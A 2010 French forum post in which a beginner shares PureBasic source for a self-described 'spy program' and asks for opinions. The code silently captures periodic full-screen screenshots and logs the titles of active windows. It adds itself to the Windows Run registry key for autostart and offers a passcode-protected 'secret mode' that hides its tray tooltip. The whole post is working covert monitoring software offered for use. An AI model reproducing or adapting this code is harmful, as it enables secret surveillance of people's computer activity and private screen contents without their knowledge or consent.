programme d'espionnage
Publié : dim. 21/nov./2010 17:52
un de mes premiers programmes
j'aimerais beaucoup savoir votre avis dessus
le programme prends des screenshot et ecrit un fichier log avec le fenetres actives
j'aimerais beaucoup savoir votre avis dessus
le programme prends des screenshot et ecrit un fichier log avec le fenetres actives
Code : Tout sélectionner
;- Les Preparations
Enumeration
#MENU_ChangePath:#MENU_OpenPath
#MENU_1sec:#MENU_5sec:#MENU_10sec:#MENU_30sec
#MENU_60sec:#MENU_90sec:#MENU_120sec:#MENU_300sec:#MENU_600sec
#MENU_Good:#MENU_Medium:#MENU_Low
#MENU_Lan:#MENU_About:#MENU_Quit
#MENU_AutoRun:#MENU_CancelAutoRun:#MENU_Secret
EndEnumeration
Global Dim l.s(40,2)
Global Dim sec.l(9)
Global path.s,lan,quality.l,seconds,lan,secret
Global pathpref.s="C:\Program files\Rigulon\"
Global pathlog.s="C:\Program files\Rigulon\Logs\"
Global namofil.s
Procedure savefile(handle.l,name.s)
CloseFile(0)
OpenFile(0,name)
FileSeek(0,Lof(0))
EndProcedure
Procedure.s WMGetText(Handle.l)
If handle
Buffer.s = Space(255)
SendMessage_(Handle, #WM_GETTEXT, 256, @Buffer)
result.s = PeekS(@Buffer)
EndIf
ProcedureReturn result
EndProcedure
Procedure StartWithWindows(state.b,nam.s)
Protected key.l = #HKEY_CURRENT_USER ;or #HKEY_LOCAL_MACHINE
Protected Path.s = "Software\Microsoft\Windows\CurrentVersion\Run"
Protected Value.s = nam
Protected String.s = ProgramFilename()
Protected CurKey.l
If state =1
RegCreateKey_ (key,@Path,@CurKey)
RegSetValueEx_ (CurKey,@Value,0, #REG_SZ ,@String, Len (String))
Else
RegOpenKey_ (key,@Path,@CurKey)
RegDeleteValue_ (CurKey,@Value)
EndIf
RegCloseKey_ (CurKey)
EndProcedure
Procedure.s t(x):ProcedureReturn l(x,lan):EndProcedure
Procedure lan()
SetMenuTitleText(0,0,t(1)+" = "+path)
SetMenuTitleText(0,1,t(27)+" ="+Str(seconds)+t(28))
SetMenuTitleText(0,2,t(15)+" = "+t(quality+14))
SetMenuTitleText(0,3,t(29))
SysTrayIconToolTip(1, t(22))
For k=0 To 10
SetMenuItemText(0,k+#MENU_ChangePath,t(k+4))
Next
For k=0 To 5
SetMenuItemText(0,k+#MENU_Good,t(k+16))
Next
SetMenuItemText(0,#MENU_AutoRun,t(30))
SetMenuItemText(0,#MENU_CancelAutoRun,t(31))
SetMenuItemText(0,#MENU_Secret,t(32))
EndProcedure
Procedure ScreenShot(a)
Repeat
date.s=FormatDate("%yyyy-%mm-%dd",Date())
hour.s=FormatDate("%hh-%ii-%ss",Date())
CreateDirectory(path.s+date)
FileName.s=Path+date+"\"+date+" "+hour+".jpg"
If CreateImage(0,GetSystemMetrics_(#SM_CXSCREEN),GetSystemMetrics_(#SM_CYSCREEN))
DesktopWindow=GetDesktopWindow_()
DC=GetDC_(DesktopWindow)
StartDrawing=StartDrawing(ImageOutput(0))
BitBlt_(StartDrawing,0,0,ImageWidth(0),ImageHeight(0),DC,0,0,#SRCCOPY)
StopDrawing()
ReleaseDC_(DesktopWindow,DC)
If quality<>0
ResizeImage(Im,ImageWidth(0)/quality*2,ImageHeight(0)/quality*2)
EndIf
UseJPEGImageEncoder()
SaveImage(0,FileName,#PB_ImagePlugin_JPEG,7)
FreeImage(0)
EndIf
Delay(1000*seconds)
ForEver
EndProcedure
Procedure prefs(key.s,val.l)
OpenPreferences(pathpref.s+"prefs.yhe")
PreferenceGroup("info")
WritePreferenceLong(key,val)
ClosePreferences()
EndProcedure
Procedure texte()
sec(1)=1:sec(2)=5:sec(3)=10:sec(4)=30:sec(5)=60:sec(6)=90:sec(7)=120:sec(8)=300:sec(9)=600
l(1,1)="Path":l(4,1)="Change Path":l(5,1)="Open Directory":l(27,1)="Time Between Shots"
l(28,1)=" Seconds":l(6,1)="1 Second":l(7,1)="5 Seconds":l(8,1)="10 Seconds":l(9,1)="30 Seconds"
l(10,1)="1 Minut":l(11,1)="1.5 Minuts":l(12,1)="2 Minuts":l(13,1)="5 Minuts":l(14,1)="10 Minuts"
l(15,1)= "Quality":l(16,1)="Good":l(17,1)="Medium":l(18,1)="Low":l(19,1)="Francais":l(20,1)="About"
l(21,1)="Quit":l(22,1)="** Rigulon **":l(25,1)="Rigulon":l(26,1)="Programed by JOJO"
l(29,1)="Run With Windows":l(30,1)="Apply":l(31,1)="Cancel":l(32,1)="Secret Mode"
l(34,1)="The program will now be in secret mode. To come back to the normal mode, double-clik on the program icon and type 224 in the window"
l(35,1)="Please enter a password"
EndProcedure
Procedure menu()
CreatePopupMenu(0)
MenuTitle("")
MenuItem(#MENU_ChangePath, "")
MenuItem(#MENU_OpenPath, "")
CloseSubMenu()
MenuTitle("")
MenuItem(#MENU_1sec, "")
MenuItem(#MENU_5sec, "")
MenuItem(#MENU_10sec, "")
MenuItem(#MENU_30sec, "")
MenuBar()
MenuItem(#MENU_60sec, "")
MenuItem(#MENU_90sec, "")
MenuItem(#MENU_120sec, "")
MenuItem(#MENU_300sec, "")
MenuItem(#MENU_600sec, "")
CloseSubMenu()
MenuTitle("")
MenuItem(#MENU_Good, "")
MenuItem(#MENU_Medium, "")
MenuItem(#MENU_Low, "")
CloseSubMenu()
MenuTitle("")
MenuItem(#MENU_AutoRun, "")
MenuItem(#MENU_CancelAutoRun, "")
CloseSubMenu()
MenuItem(#MENU_Secret, "")
MenuItem(#MENU_Lan, "")
MenuItem(#MENU_About, "")
MenuItem(#MENU_Quit, "")
EndProcedure
;- ReadPreferences
CreateDirectory(pathpref)
OpenPreferences(pathpref+"prefs.yhe")
PreferenceGroup("info")
path=ReadPreferenceString("path","")
quality=ReadPreferenceFloat("quality",1.5)
seconds=ReadPreferenceLong("seconds",60)
lan=ReadPreferenceLong("lan",1)
secret=ReadPreferenceLong("secret",0)
ClosePreferences()
If path=""
path="C:\Program files\Rigulon\ScreenShot\"
CreateDirectory(path)
EndIf
;- Create Log
CreateDirectory(pathlog)
date.s=FormatDate("%yyyy-%mm-%dd",Date())
hour.s=FormatDate("%hh-%ii-%ss",Date())
namofil=pathlog+date+" "+hour+".txt"
CreateFile(0,namofil)
WriteStringN(0,date+" "+hour)
WriteStringN(0,"")
chaine.s = Space(256)
hWnd = FindWindow_( 0, 0 )
While hWnd <> 0
If GetWindowLong_(hWnd, #GWL_STYLE) & #WS_VISIBLE = #WS_VISIBLE
If GetWindowLong_(hWnd, #GWL_EXSTYLE) & #WS_EX_TOOLWINDOW <> #WS_EX_TOOLWINDOW
GetWindowText_(hWnd,@chaine,256)
If chaine <> ""
WriteStringN(0,chaine)
EndIf
EndIf
EndIf
hWnd = GetWindow_(hWnd, #GW_HWNDNEXT)
Wend
WriteStringN(0,"")
WriteStringN(0,"")
savefile(0,namofil)
;- Demarrage
texte()
menu()
OpenWindow(0, 10, 10, 10, 10, "Rigulon", #PB_Window_Invisible)
AddSysTrayIcon(1, WindowID(0),CatchImage(1, ?Icone1))
SysTrayIconToolTip(1, t(22))
lan()
thread=CreateThread(@ScreenShot(), 154)
Repeat
Event=WaitWindowEvent(1000)
;- Recuperation de la fenetre active
Handle = GetForegroundWindow_()
If Handle <> 0 And Handle <> Last_Handle
Last_Handle = Handle
WindowText.s = WMGetText(Handle)
If WindowText<>LastWindowText.s And windowtext<>""
hour.s=FormatDate("%hh-%ii-%ss",Date())
WriteStringN(0, hour+" "+ WindowText)
LastWindowText=WindowText
EndIf
EndIf
If Val(FormatDate("%ss",Date()))=00
savefile(0,namofil)
EndIf
;- gestion du mode : normal: ouvrir le menu ; secret : demander le code et revenir au mode normal
If secret=0
If Event = #PB_Event_SysTray And EventType()=#PB_EventType_LeftClick
DisplayPopupMenu(0,WindowID(0))
EndIf
ElseIf secret=1
If Event = #PB_Event_SysTray And EventType()=#PB_EventType_RightDoubleClick
code=Val(InputRequester(t(35),"",""))
If code=224
secret=0
SysTrayIconToolTip(1, t(22))
prefs("secret",secret)
EndIf
EndIf
EndIf
;- gestion du menu
If Event = #PB_Event_Menu
Select EventMenu()
Case #MENU_ChangePath
p.s=PathRequester("",path)
If p:path=p:EndIf
SetMenuTitleText(0,0,t(1)+" = "+path)
OpenPreferences(pathpref+"prefs.yhe")
PreferenceGroup("info")
WritePreferenceString("path",path)
ClosePreferences()
Case #MENU_OpenPath:If path:RunProgram(path):EndIf
Case #MENU_1sec To #MENU_1sec+8
seconds=sec(EventMenu()-#MENU_1sec+1)
SetMenuTitleText(0,1,t(27)+" = "+Str(seconds)+t(28))
prefs("seconds",seconds)
Case #MENU_Good To #MENU_Low
quality=(EventMenu()-#MENU_Good+2)
SetMenuTitleText(0,2,t(15)+" = "+t(quality+14))
prefs("quality",quality)
Case #MENU_Lan
lan=3-lan
lan()
prefs("lan",lan)
Case #MENU_About:MessageRequester(t(25),t(26)+Chr(10)+Chr(10)+t(36)+Chr(10)+t(37))
Case #MENU_Quit:quit=1
Case #MENU_AutoRun:StartWithWindows(1,"Rigulon")
Case #MENU_CancelAutoRun:StartWithWindows(2,"Rigulon")
Case #MENU_Secret
secret=1
MessageRequester(t(32),t(34))
SysTrayIconToolTip(1,"")
prefs("secret",secret)
EndSelect
EndIf
Until Quit=1
;- Data
DataSection:Icone1:IncludeBinary "tools.ico":EndDataSection